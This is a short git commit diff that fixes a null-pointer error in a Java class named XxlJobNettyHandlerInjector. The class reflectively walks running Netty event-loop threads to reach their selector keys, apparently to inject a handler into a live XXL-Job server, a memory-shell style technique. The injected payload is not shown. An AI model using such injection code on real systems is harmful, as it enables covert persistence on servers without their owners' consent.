fix: xxl-job NPE

This commit is contained in:
ReaJason
2025-05-14 00:34:32 +08:00
parent a883c9914e
commit 6933163575
@@ -86,13 +86,8 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
for (Thread thread : threads) {
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
Object target;
try {
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val$eventExecutor");
} catch (Exception e) {
continue;
}
if (target.getClass().getName().endsWith("NioEventLoop")) {
HashSet<?> set = (HashSet<?>) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
if (!set.isEmpty()) {
@@ -104,6 +99,8 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
break;
}
}
} catch (Exception ignored) {
}
}
}
}